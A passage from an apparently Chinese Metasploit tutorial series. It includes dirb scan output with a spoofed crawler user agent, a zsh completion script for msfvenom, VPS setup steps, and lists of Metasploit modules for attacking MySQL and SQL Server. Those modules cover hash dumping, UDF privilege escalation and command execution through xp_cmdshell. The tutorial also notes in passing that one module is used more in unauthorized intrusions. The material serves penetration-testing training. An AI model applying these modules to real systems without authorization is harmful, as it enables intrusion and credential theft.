Googlebot/2.1; +http://www.google.com/bot.ht ml)\" ‐c \"ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45\" ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ DIRB v2.22 By The Dark Raver ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ START_TIME: Sun Feb 17 23:53:08 2019 URL_BASE: http://192.168.1.102/Manage/ WORDLIST_FILES: ./DIR.txt USER_AGENT: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googl e.com/bot.html) COOKIE: ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ GENERATED WORDS: 1153 ‐‐‐‐ Scanning URL: http://192.168.1.102/Manage/ ‐‐‐‐ + http://192.168.1.102/Manage//include/ (CODE:403|SIZE:218) + http://192.168.1.102/Manage//news/ (CODE:403|SIZE:218) + http://192.168.1.102/Manage//include (CODE:301|SIZE:159) + http://192.168.1.102/Manage//images/ (CODE:403|SIZE:218) + http://192.168.1.102/Manage//sys/ (CODE:403|SIZE:218) + http://192.168.1.102/Manage//images (CODE:301|SIZE:158) (!) FATAL: Too many errors connecting to host (Possible cause: EMPTY REPLY FROM SERVER) ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ END_TIME: Sun Feb 17 23:53:10 2019 DOWNLOADED: 673 ‐ FOUND: 6 自定义毫秒延迟: root@John:~/wordlist/small# dirb http://192.168.1.102/Manage ./DIR.txt ‐a \"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht ml)\" ‐c \"ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45\" ‐z 100 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ DIRB v2.22 By The Dark Raver ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ START_TIME: Sun Feb 17 23:54:29 2019 URL_BASE: http://192.168.1.102/Manage/ WORDLIST_FILES: ./DIR.txt USER_AGENT: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googl e.com/bot.html) COOKIE: ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45 SPEED_DELAY: 100 milliseconds ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ GENERATED WORDS: 1153 ‐‐‐‐ Scanning URL: http://192.168.1.102/Manage/ ‐‐‐‐ + http://192.168.1.102/Manage//include/ (CODE:403|SIZE:218) + http://192.168.1.102/Manage//news/ (CODE:403|SIZE:218) + http://192.168.1.102/Manage//include (CODE:301|SIZE:159) + http://192.168.1.102/Manage//images/ (CODE:403|SIZE:218) + http://192.168.1.102/Manage//sys/ (CODE:403|SIZE:218) + http://192.168.1.102/Manage//images (CODE:301|SIZE:158) (!) FATAL: Too many errors connecting to host (Possible cause: EMPTY REPLY FROM SERVER) ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ END_TIME: Sun Feb 17 23:55:50 2019 DOWNLOADED: 673 ‐ FOUND: 6 其他更多有趣的功能: DIRB v2.22 By The Dark Raver ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ dirb [] [options] ========================= NOTES ========================= : Base URL to scan. (Use ‐resume for session resuming) : List of wordfiles. (wordfile1,wordfile2,wordfile3...) ======================== HOTKEYS ======================== 'n' ‐> Go to next directory. 'q' ‐> Stop scan. (Saving state for resume) 'r' ‐> Remaining scan stats. ======================== OPTIONS ======================== ‐a : Specify your custom USER_AGENT. ‐b : Use path as is. ‐c : Set a cookie for the HTTP request. ‐E : path to the client certificate. ‐f : Fine tunning of NOT_FOUND (404) detection. ‐H : Add a custom header to the HTTP request. ‐i : Use case‐insensitive search. ‐l : Print \"Location\" header when found. ‐N : Ignore responses with this HTTP code. ‐o : Save output to disk. ‐p : Use this proxy. (Default port is 1080) ‐P : Proxy Authentication. ‐r : Don't search recursively. ‐R : Interactive recursion. (Asks for each directory) ‐S : Silent Mode. Don't show tested words. (For dumb terminals) ‐t : Don't force an ending '/' on URLs. ‐u : HTTP Authentication. ‐v : Show also NOT_FOUND pages. ‐w : Don't stop on WARNING messages. ‐X / ‐x : Append each word with this extensions. ‐z : Add a milliseconds delay to not cause excessive Flood. ======================== EXAMPLES ======================= dirb http://url/directory/ (Simple Test) dirb http://url/ ‐X .html (Test files with '.html' extension) dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Test wit hapache.txt wordlist) dirb https://secure_url/ (Simple Test with SSL) Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/21-30/30_解决msfvenom命令自动补全.html":{"url":"Chapter1/21-30/30_解决msfvenom命令自动补全.html","title":"第三十课:解决msfvenom命令自动补全","keywords":"","body":"本课是针对前第1-20课时的msfvenom生成payload的自动补全命令补充。虽msfvenom强大,同样有着非常繁琐的参数,参数强大,意味着会增加工作效率,但它并不像MSF有命令补全功能,故本课吸取前20课经验,自动补全msfvenom的参数。 需要zsh的支持: root@John:~# cat /etc/shells # /etc/shells: valid login shells /bin/sh /bin/dash /bin/bash /bin/rbash /usr/bin/screen /bin/zsh /usr/bin/zsh /usr/bin/tmux root@John:~# echo $SHELL /bin/bash 复制附录A到~/.oh-my-zsh/custom/plugins/msfvenom文件夹下(注:没有msfvenom目录,创建即可) root@John:~/.oh‐my‐zsh/custom/plugins/msfvenom# pwd /root/.oh‐my‐zsh/custom/plugins/msfvenom root@John:~/.oh‐my‐zsh/custom/plugins/msfvenom# ls _msfvenom 编辑~/.zshrc文件: root@John:~# nano ~/.zshrc root@John:~# nano ~/.zshrc root@John:~# cat ~/.zshrc plugins=(msfvenom) 更新: root@John:~# source ~/.zshrc 效果如下: 附录A: #compdef msfvenom #autoload # # zsh completion for msfvenom in Metasploit Framework Project (https://www.metasploit.com) # # github: https://github.com/Green‐m/msfvenom‐zsh‐completion # # author: Green‐m (greenm.xxoo@gmail.com) # # license: GNU General Public License v3.0 # # Copyright (c) 2018, Green‐m # All rights reserved. # VENOM_CACHE_FILE=~/.zsh/venom‐cache venom‐clear‐cache() { rm $VENOM_CACHE_FILE } venom‐cache‐payloads() { if [ ‐x \"$(command ‐v msfvenom)\" ] then VENOM=\"msfvenom\" elif [ ‐n \"$_comp_command1\" ] then VENOM=$_comp_command1 else echo \"Cound not find msfvenom path in system env, please run msfvenom with path.\" fi if [[ ! ‐d ${VENOM_CACHE_FILE:h} ]]; then mkdir ‐p ${VENOM_CACHE_FILE:h} fi if [[ ! ‐f $VENOM_CACHE_FILE ]]; then echo ‐n \"(...caching Metasploit Payloads...)\" $VENOM ‐‐list payload|grep ‐e \"^.*\\/\" | awk '{print $1}' >> $VENOM_CA CHE_FILE fi } _msfvenom() { local curcontext=\"$curcontext\" state line typeset ‐A opt_args _arguments ‐C \\ '(‐h ‐‐help)'{‐h,‐‐help}'[show help]' \\ '(‐l ‐‐list)'{‐l,‐‐list}'[List all modules for type. Types are: paylo ads, encoders, nops, platforms, archs, encrypt, formats, all]' \\ '(‐p ‐‐payload)'{‐p,‐‐payload}'[Payload to use (‐‐list payloads to list, ‐‐list‐options for arguments). Specify ‐ or STDIN for custom]' \\ '(‐‐list‐options)‐‐list‐options[List ‐‐payload standard, adva nced and evasion options]' \\ '(‐f ‐‐format)'{‐f,‐‐format}'[Output format (use ‐‐list formats to li st)]' \\ '(‐e ‐‐encoder)'{‐e,‐‐encoder}'[The encoder to use (use ‐‐list encoders to list)]' \\ '(‐‐smallest)‐‐smallest[Generate the smallest possible payload using all available encoders]' \\ '(‐‐encrypt)‐‐encrypt[The type of encryption or encoding to apply to the shellcode (use ‐‐list encrypt to list)]' \\ '(‐‐encrypt‐key)‐‐encrypt‐key[A key to be used for ‐‐encrypt]' \\ '(‐‐encrypt‐iv)‐‐encrypt‐iv[An initialization vector for ‐‐encrypt]' \\ '(‐a ‐‐arch)'{‐a,‐‐arch}'[the architecture to use for ‐‐payload and ‐ ‐encoders (use ‐‐list archs to list)]' \\ '(‐‐platform)‐‐platform[The platform for ‐‐payload (use ‐‐list platfo rms to list)]' \\ '(‐o ‐‐out)'{‐o,‐‐out}'[Save the payload to a file]' \\ '(‐b ‐‐bad‐chars)'{‐b,‐‐bad‐chars}'[Characters to avoid example: \"\\x0 0\\xff\"]' \\ '(‐n ‐‐nopsled)'{‐n,‐‐nopsled}'[Prepend a nopsled of \\[length\\] size on to the payload]' \\ '(‐‐encoder‐space)‐‐encoder‐space[The maximum size of the encoded pay load (defaults to the ‐s value)]' \\ '(‐i ‐‐iterations)'{‐i,‐‐iterations}'[The number of times to encode t he payload]' \\ '(‐c ‐‐add‐code)'{‐c,‐‐add‐code}'[Specify an additional win32 shellcode file to include]' \\ '(‐x ‐‐template)'{‐x,‐‐template}'[Specify a custom executable file to use as a template]' \\ '(‐k ‐‐keep)'{‐k,‐‐keep}'[Preserve the ‐‐template behaviour and inject the payload as a new thread]' \\ '(‐v ‐‐var‐name)'{‐v,‐‐var‐name}'[Specify a custom variable name to use for certain output formats]' \\ '(‐t ‐‐timeout)'{‐t,‐‐timeout}'[The number of seconds to wait when re ading the payload from STDIN (default 30, 0 to disable)]' \\ '*: :($(__msfvenom_options))' && ret=0 lastword=${words[${#words[@]}‐1]} case \"$lastword\" in (‐p|‐‐payload) _values 'payload' $(__msfvenom_payloads) ;; (‐l|‐‐list) local lists=('payloads' 'encoders' 'nops' 'platforms' 'archs' 'encrypt' 'formats' 'all') _values 'list' $lists ;; (‐encrypt) local encrypts=('aes256' 'base64' 'rc4' 'xor') _values 'encrypt' $encrypts ;; (‐a|‐‐arch) _values 'arch' $(__msfvenom_archs) ;; (‐platform) _values 'platform' $(__msfvenom_platforms) ;; (‐f|‐‐format) _values 'format' $(__msfvenom_formats) ;; (‐e|‐‐encoder) _values 'encoder' $(__msfvenom_encoders) ;; (‐o|‐‐out|‐x|‐‐template|‐c|‐‐add‐code) _files ;; (*) ;; esac } __msfvenom_payloads(){ local msf_payloads # we cache the list of packages (originally from the macports plugin) venom‐cache‐payloads msf_payloads=`cat $VENOM_CACHE_FILE` for line in $msf_payloads; do echo \"$line\" done } __msfvenom_archs(){ local archs archs=( 'aarch64' 'armbe' 'armle' 'cbea' 'cbea64' 'cmd' 'dalvik' 'firefox' 'java' 'mips' 'mips64' 'mips64le' 'mipsbe' 'mipsle' 'nodejs' 'php' 'ppc' 'ppc64' 'ppc64le' 'ppce500v2' 'python' 'r' 'ruby' 'sparc' 'sparc64' 'tty' 'x64' 'x86' 'x86_64' 'zarch' ) for line in $archs; do echo \"$line\" done } __msfvenom_encoders(){ local encoders encoders=( 'cmd/brace' 'cmd/echo' 'cmd/generic_sh' 'cmd/ifs' 'cmd/perl' 'cmd/powershell_base64' 'cmd/printf_php_mq' 'generic/eicar' 'generic/none' 'mipsbe/byte_xori' 'mipsbe/longxor' 'mipsle/byte_xori' 'mipsle/longxor' 'php/base64' 'ppc/longxor' 'ppc/longxor_tag' 'ruby/base64' 'sparc/longxor_tag' 'x64/xor' 'x64/xor_dynamic' 'x64/zutto_dekiru' 'x86/add_sub' 'x86/alpha_mixed' 'x86/alpha_upper' 'x86/avoid_underscore_tolower' 'x86/avoid_utf8_tolower' 'x86/bloxor' 'x86/bmp_polyglot' 'x86/call4_dword_xor' 'x86/context_cpuid' 'x86/context_stat' 'x86/context_time' 'x86/countdown' 'x86/fnstenv_mov' 'x86/jmp_call_additive' 'x86/nonalpha' 'x86/nonupper' 'x86/opt_sub' 'x86/service' 'x86/shikata_ga_nai' 'x86/single_static_bit' 'x86/unicode_mixed' 'x86/unicode_upper' 'x86/xor_dynamic' ) for line in $encoders; do echo \"$line\" done } __msfvenom_platforms(){ local platforms platforms=( 'aix' 'android' 'apple_ios' 'bsd' 'bsdi' 'cisco' 'firefox' 'freebsd' 'hardware' 'hpux' 'irix' 'java' 'javascript' 'juniper' 'linux' 'mainframe' 'multi' 'netbsd' 'netware' 'nodejs' 'openbsd' 'osx' 'php' 'python' 'r' 'ruby' 'solaris' 'unix' 'unknown' 'windows' ) for line in $platforms; do echo \"$line\" done } __msfvenom_formats(){ local formats formats=( 'asp' 'aspx' 'aspx‐exe' 'axis2' 'dll' 'elf' 'elf‐so' 'exe' 'exe‐only' 'exe‐service' 'exe‐small' 'hta‐psh' 'jar' 'jsp' 'loop‐vbs' 'macho' 'msi' 'msi‐nouac' 'osx‐app' 'psh' 'psh‐cmd' 'psh‐net' 'psh‐reflection' 'vba' 'vba‐exe' 'vba‐psh' 'vbs' 'war' 'bash' 'c' 'csharp' 'dw' 'dword' 'hex' 'java' 'js_be' 'js_le' 'num' 'perl' 'pl' 'powershell' 'ps1' 'py' 'python' 'raw' 'rb' 'ruby' 'sh' 'vbapplication' 'vbscript' ) for line in $formats; do echo \"$line\" done } # For most common options, not accurately __msfvenom_options(){ local options options=( LHOST= \\ LPORT= \\ EXITFUNC= \\ RHOST= \\ StageEncoder= \\ AutoLoadStdapi= \\ AutoRunScript= \\ AutoSystemInfo= \\ AutoVerifySession= \\ AutoVerifySessionTimeout= \\ EnableStageEncoding= \\ EnableUnicodeEncoding= \\ HandlerSSLCert= \\ InitialAutoRunScript= \\ PayloadBindPort= \\ PayloadProcessCommandLine= \\ PayloadUUIDName= \\ PayloadUUIDRaw= \\ PayloadUUIDSeed= \\ PayloadUUIDTracking= \\ PrependMigrate= \\ PrependMigrateProc= \\ ReverseAllowProxy= \\ ReverseListenerBindAddress= \\ ReverseListenerBindPort= \\ ReverseListenerComm= \\ ReverseListenerThreaded= \\ SessionCommunicationTimeout= \\ SessionExpirationTimeout= \\ SessionRetryTotal= \\ SessionRetryWait= \\ StageEncoder= \\ StageEncoderSaveRegisters= \\ StageEncodingFallback= \\ StagerRetryCount= \\ StagerRetryWait= \\ VERBOSE= \\ WORKSPACE= ) echo $options } #_msfvenom \"$@\" Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Content/31-40.html":{"url":"Content/31-40.html","title":"31-40课","keywords":"","body":"第三十一课:msf的前生今世 第三十二课:配置vps上的msf 第三十三课:攻击Mysql服务 第三十四课:攻击Sql server 服务 第三十五课:与Sqlmap结合攻击 第三十六课:解决vps上ssh掉线 第三十七课:vbs一句话下载payload 第三十八课:certutil一句话下载payload 第三十九课:vbs一句话下载payload补充 第四十课:ftp一句话下载payload Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/31_msf的前生今世.html":{"url":"Chapter1/31_msf的前生今世.html","title":"第三十一课:msf的前生今世","keywords":"","body":" The world’s most used penetration testing framework. Metasploit 从本季开始将会连载 Metasploit 教学,非常荣幸,本部门在我的“怂恿”下,基本以Metasploit 为常用框架做渗透。为了更好的把这个“坏习惯”延续下去,遂打算写一套完整的系列教程。以供同学们在使用中,或者新来的同学形成递归学习或者查询相关资料。在写的同时,查阅了大量的资料以及借鉴了许多思路。感谢为此贡献的老师们。 Metasploit 项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。Github开源地址:https://github.com/rapid7/metasploit-framework msf(未来Metasploit的简称)基本遵循PTES渗透测试标准。它将渗透分解如下: 创建项目 发现设备 获取对主机的访问权限 控制会话 从目标主机收集证据 会话清除 生成报告(需pro版本) 而PTEST渗透测试标准如下: 1:前期交互阶段 在前期交互(Pre-Engagement Interaction)阶段,渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。 该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动。 2:情报收集阶段 在目标范围确定之后,将进入情报搜集(Information Gathering)阶段,渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置 与安全防御措施的信息。 渗透测试者可以使用的情报搜集方法包括公开来源信息查询、Google Hacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。 3:威胁建模阶段 在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家聚到一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。 通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行的攻击通道。 4:漏洞分析阶段 在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析(Vulnerability Analysis)阶段。 在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。 5:渗透攻击阶段 渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节。在此环节中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。 渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中,渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗透目的。在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安全响应团队的警觉和发现 6:后渗透攻击阶段 后渗透攻击(Post Exploitation)是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。 在不同的渗透测试场景中,这些攻击目标与途径可能是千变万化的,而设置是否准确并且可行,也取决于团队自身的创新意识、知识范畴、实际经验和技术能力。 7:报告阶段 渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。 本系列教程以msf 4.15.45为基础,后期可能会以msf5为基础。 msf核心代码为Ruby开发。这里需要解释,为什么作者以Ruby为核心语言开发?而不是python,perl等大众语言开发? 这里转载原作者的话: 以下是在2005年左右写的。 在框架的开发过程中,Metasploit开发人员不断被问到的一个反复出现的问题是为什么选择Ruby作为编程语言。为避免单独回答此问题,作者选择在本文档中解释其原因。 由于很多原因,选择了Ruby编程语言而不是其他选择,例如python,perl和C++。选择Ruby的第一个(也是主要的)原因是因为它是Metasploit员工喜欢写的一种语言。在花时间分析其他语言并考虑过去的经验后,发现Ruby编程语言既简单又强大解释语言的方法。Ruby提供的内省程度和面向对象的方面非常适合框架的一些要求。框架对代码重用的自动化类构造的需求是决策制定过程中的关键因素,而且它是perl不太适合提供的东西之一。除此之外,选择Ruby的第二个原因是因为它支持平台独立于线程。虽然在该模型下开发框架期间遇到了许多限制,但Metasploit工作人员观察到了2.x分支的显着性能和可用性改进。未来版本的Ruby(1.9系列)将使用本机线程支持现有的线程API,操作系统将编译解释器,这将解决当前实现的许多现有问题(例如允许使用阻塞操作)。与此同时,与传统的分叉模型相比,现有的线程模型被发现要优越得多,特别是在缺少像Windows这样的原生分支实现的平台上。 选择Ruby的另一个原因是因为Windows平台支持存在本机解释器。虽然perl有cygwin版本和ActiveState版本,但两者都受到可用性问题的困扰。可以在Windows上本地编译和执行Ruby解释器的事实大大提高了性能。此外,解释器也非常小,并且可以在出现错误时轻松修改。 Python编程语言也是候选语言。Metasploit员工选择Ruby而不是python的原因有几个原因。主要原因是对python强制的一些语法烦恼的普遍厌恶,例如block-indention。虽然许多人认为这种方法的好处,但Metasploit工作人员的一些成员认为这是一个不必要的限制。Python的其他问题围绕父类方法调用的限制和解释器的向后兼容性。 C / C++编程语言也得到了非常认真的考虑,但最终很明显,尝试以非解释性语言部署可移植和可用的框架是不可行的。 此外,这种语言选择的开发时间线很可能会更长。尽管框架的2.x分支已经相当成功,但Metasploit开发人员遇到了许多限制和烦恼与perl的面向对象编程模型或缺乏。事实上perl解释器是许多发行版上默认安装的一部分,这并不是Metasploit员工认为值得绕开语言选择的东西。 最后,所有这些都归结为选择一种对框架贡献最大的人所享有的语言,而这种语言最终成为Ruby。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/32_配置vps上的msf.html":{"url":"Chapter1/32_配置vps上的msf.html","title":"第三十二课:配置vps上的msf","keywords":"","body":"许多教程都会讲解 msf 分别在 windows,linux 以及 Mac 上的安装,而在实际的项目中,或者实战中,居多以 vps 上做跳板渗透,而vps 又以 linux 居多。故本章直接以 linux 为安装背景。 vps背景如下: root@john:~# uname -a Linux john 3.16.0-7-amd64 #1 SMP Debian 3.16.59-1 (2018-10-03) x86_64 GNU/Linux root@john:~# lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux 8.11 (jessie) Release: 8.11 Codename: jessie root@john:~# cat /proc/version Linux version 3.16.0-7-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.2 (Debian 4.9.2-10+deb8u1) ) #1 SMP Debian 3.16.59-1 (2018-10-03) 以Debian为载体,更能快速的安装与配置msf。 安装: 配置源 root@john:~# nano /etc/apt/sources.list root@john:~# cat /etc/apt/sources.list # # deb cdrom:[Debian GNU/Linux 8.11.0 _Jessie_ - Official amd64 NETINST Binary-1 20180623-13:06]/ jessie main #deb cdrom:[Debian GNU/Linux 8.11.0 _Jessie_ - Official amd64 NETINST Binary-1 20180623-13:06]/ jessie main deb http://http.us.debian.org/debian/ jessie main deb-src http://http.us.debian.org/debian/ jessie main deb http://security.debian.org/ jessie/updates main deb-src http://security.debian.org/ jessie/updates main # jessie-updates, previously known as 'volatile' deb http://http.us.debian.org/debian/ jessie-updates main deb-src http://http.us.debian.org/debian/ jessie-updates main #deb http://http.kali.org/kali kali-rolling main non-free contrib #deb-src http://http.kali.org/kali kali-rolling main non-free contrib deb http://http.kali.org/kali kali-rolling main non-free contrib #deb http://http.kali.org/kali kali-rolling main non-free contrib 更新源: root@john:~# apt-get update&&apt-get upgrade 更新后故可apt 安装即可,方便快捷。 root@john:~# apt-get install metasploit-framework 如安装sqlmap等。安装metasploit-framework, 以此种方式安装,也无需在配置psql。可快速部署解决项目。 sqlmap 在虚拟机,多数存在几点问题 配置后,ssh无法连接 关于vmtools的问题 虚拟机的vpn问题 U盘安装kali不能挂载的问题 问题1: 配置SSH: apt install ssh nano /etc/ssh/sshd_config #PasswordAuthentication no //修改yes #PermitRootLogin yes //修改yes service ssh start //重启 /etc/init.d/ssh status //验证 update-rc.d ssh enable //添加开机重启 //运行ssh root登录 #PermitRootLogin prohibit-password改为PermitRootLogin yes 问题2: 更新源安装vmtool,文件头: root@john:~# apt-get install open-vm-tools-desktop fuse root@john:~#apt-cache search linux-headers //安装头文件 root@john:~#apt-get install linux-image-4.9.0-kali3-amd64 root@john:~#apt-get install linux-image-4.9.0 // root@john:~#apt-get install linux-headers-4.9.0-kali4-amd64 //重启 root@john:~# apt-get install linux-headers-$(uname -r) //kali2.0以后vmtools不需要安装 问题3: 安装各种VPN: apt-get install -y pptpd network-manager-openvpn network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome 重启网卡即可。 问题4: Kali U盘安装不能挂载: 第一步:df -m 此时会看到挂载信息,最下面的是/dev/XXX /media 这个是U盘设备挂载到了/media,导致cd-rom不能被挂载。 第二步:umount /media 上面那个国外的解决方案还要继续mount /dev/XXX /cd-rom 但本机测试不用自己挂载,安装程序会自己挂载。自己挂载反而会引起后面出现GRUB安装失败。 第三步:exit 退出命令窗口后,返回之前的语言选择,继续安装,现在不会再出现cd-rom无法挂载的情况了,安装顺利完成 在vps配置并更新好以上源时,按照项目或者任务在安装其他相关工具辅助。当不确定或者对某些工具遗忘时,可如下操作: 配置zsh: sh -c \"\\$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)\" chsh -s `which zsh` //设置默认为zsh cat /etc/shells //查看当前安装的shell echo $SHELL //查看当前使用shells 如果是 vps 不建议安装 oh-my-zsh,很多国外的 vps 延迟较多。我是配置zsh。 wget https://raw.githubusercontent.com/skywind3000/vim/master/etc/zshrc.zsh 把上面下载的文件复制粘贴到你的 ~/.zshrc 文件里,保存,运行 zsh 即可。头一次运行会安装一些依赖包,稍等两分钟,以后再进入就瞬间进入了。 如果不能tab补全: nano /root/.bashrc 跳到最后一行,添加: if [ -f /etc/bash_completion ] && ! shopt -oq posix; then ./etc/bash_completion fi 为msf payload添加第三方框架:(这未来会详细讲述,次季,仅是安装) root@John:~# apt-get install veil-evasion 至此vps上的msf的初级配置结束。 注:部分vps上没有安装mlocate,安装即可。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/33_攻击Mysql服务.html":{"url":"Chapter1/33_攻击Mysql服务.html","title":"第三十三课:攻击Mysql服务","keywords":"","body":"msf 内置关于mysql插件如下(部分非测试mysql 插件) 关于msf常用攻击mysql插件如下: auxiliary/scanner/mysql/mysql_login exploit/multi/mysql/mysql_udf_payload exploit/windows/mysql/mysql_mof exploit/windows/mysql/scrutinizer_upload_exec auxiliary/scanner/mysql/mysql_hashdump auxiliary/admin/mysql/mysql_sql auxiliary/scanner/mysql/mysql_version 以下本地靶机测试: 靶机1:x86 Windows7 靶机2 :x86 windows 2003 ip:192.168.1.115 1、auxiliary/scanner/mysql/mysql_login 常用于内网中的批量以及单主机的登录测试。 2、exploit/multi/mysql/mysql_udf_payload 常用于root启动的mysql 并root的udf提权。 3、exploit/windows/mysql/mysql_mof 以上类似,提权。 4、exploit/windows/mysql/scrutinizer_upload_exec 上传文件执行。 5、auxiliary/scanner/mysql/mysql_hashdump mysql的mysql.user表的hash 而在实战中,mysql_hashdump这个插件相对其他较为少用。一般情况建议使用sql语句: 更直观,更定制化 6、auxiliary/admin/mysql/mysql_sql 执行sql语句。尤其是在目标机没有web界面等无法用脚本执行的环境。 7、auxiliary/scanner/mysql/mysql_version 常用于内网中的批量mysql主机发现。 后者的话: 在内网横向渗透中,需要大量的主机发现来保证渗透的过程。而以上的插件,在内网横向或者mysql主机发现的过程中,尤为重要。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/34_攻击SqlServer服务.html":{"url":"Chapter1/34_攻击SqlServer服务.html","title":"第三十四课:攻击Sql server 服务","keywords":"","body":"msf 内置关于 mssql 插件如下(部分非测试mssql 插件) 关于msf常用攻击mssql插件如下: auxiliary/admin/mssql/mssql_enum auxiliary/admin/mssql/mssql_enum_sql_logins auxiliary/admin/mssql/mssql_escalate_dbowner auxiliary/admin/mssql/mssql_exec auxiliary/admin/mssql/mssql_sql auxiliary/admin/mssql/mssql_sql_file auxiliary/scanner/mssql/mssql_hashdump auxiliary/scanner/mssql/mssql_login auxiliary/scanner/mssql/mssql_ping exploit/windows/mssql/mssql_payload post/windows/manage/mssql_local_auth_bypass 本地靶机测试:x86 windows 2003 ip:192.168.1.115 1. auxiliary/admin/mssql/mssql_enum 非常详细的目标机Sql server 信息: 2.auxiliary/admin/mssql/mssql_enum_sql_logins 枚举sql logins,速度较慢,不建议使用。 3.auxiliary/admin/mssql/mssql_escalate_dbowner 发现dbowner,当sa无法得知密码的时候,或者需要其他账号提供来支撑下一步的内网渗透。 4.auxiliary/admin/mssql/mssql_exec 最常用模块之一,当没有激活xp_cmdshell,自动激活。并且调用执行cmd命令。权限继承 Sql server。 5.auxiliary/admin/mssql/mssql_sql 最常用模块之一,如果熟悉Sql server 数据库特性,以及sql语句。建议该模块,更稳定。 6.auxiliary/admin/mssql/mssql_sql_file 当需要执行多条sql语句的时候,或者非常复杂。msf本身支持执行sql文件。授权渗透应用较少,非授权应用较多的模块。 7.auxiliary/scanner/mssql/mssql_hashdump mssql的hash导出。如果熟悉sql语句。也可以用mssql_sql模块来执行。 8.auxiliary/scanner/mssql/mssql_login 内网渗透中的常用模块之一,支持RHOSTS,来批量发现内网mssql主机。mssql的特性除了此种方法。还有其他方法来专门针对mssql主机发现,以后得季会提到。 9.auxiliary/scanner/mssql/mssql_ping 查询mssql 实例,实战中,应用较少。信息可能不准确。 10.exploit/windows/mssql/mssql_payload 非常好的模块之一,在实战中。针对不同时间版本的系统都有着自己独特的方式来上传payload。 注:由于本季的靶机是 windows 2003,故参数set method old,如果本次的参数为cmd,那么payload将会失败。 11.post/windows/manage/mssql_local_auth_bypass post模块都属于后渗透模块,不属于本季内容。未来的系列。会主讲post类模块。 后者的话: 在内网横向渗透中,需要大量的主机发现来保证渗透的过程。而以上的插件,在内网横向或者Sql server主机发现的过程中,尤为重要。与Mysql 不同的是,在Sql server的模块中,一定要注意参数的配备以及payload的组合。否则无法反弹payload。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 